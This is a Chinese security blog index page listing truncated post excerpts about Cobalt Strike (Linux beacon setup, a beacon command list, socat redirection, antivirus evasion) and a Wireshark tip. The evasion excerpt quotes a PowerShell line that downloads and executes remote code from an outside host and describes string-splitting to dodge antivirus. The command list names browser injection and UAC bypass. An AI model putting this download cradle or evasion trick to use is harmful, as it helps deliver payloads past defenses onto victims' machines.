一个小地方

发表于 2024-11-08 | 更新于 2024-11-08 | cobaltstrike | 作者: 应作如是观 | 0条评论 | 阅读量:81

原帖子https://www.freebuf.com/sectool/281857.html里面有模块介绍和Linux上线办法可以学习一下备份：几天前和朋友在泡茶的时候，谈起了渗透工程师的面试，当时HR问他，CS怎么上线Linux呢，这时他反问我，我说我...
阅读全文...

cs免杀入门

发表于 2024-11-08 | 更新于 2024-11-08 | cobaltstrike | 作者: 应作如是观 | 0条评论 | 阅读量:50

powershell免杀绕过思路参考：安全客原始payloadInvoke-Expression (New-Object Net.WebClient).DownloadString('http:9821.ink/xxx')将http分开+号连接Invok...
阅读全文...

发表于 2024-11-08 | 更新于 2024-11-08 | cobaltstrike | 作者: 应作如是观 | 0条评论 | 阅读量:66

./start.sh启动客户端browserpivot 注入受害者浏览器进程bypassuac 绕过UACcancel 取消正在进行的下载cd 切换目录checkin 强制让被控端回连一次clear 清除beacon内部的任务队列connect Conn...
阅读全文...

发表于 2024-11-08 | 更新于 2024-11-11 | cobaltstrike | 作者: 应作如是观 | 0条评论 | 阅读量:36

设备需求：一台运行着Linux的系统的云服务器运行socat来转发流量Linux云服务器的指令如下sudo apt-get update（更新软件包不然找不到socat）sudo apt-get install socat（安装socat）screen（...
阅读全文...

发表于 2024-11-06 | 更新于 2024-11-08 | wireshark | 作者: 应作如是观 | 0条评论 | 阅读量:61

刚打开wireshark找不到本地接口；去https://npcap.com/#download下载一个npcap重启wireshark即可找到接口；
阅读全文...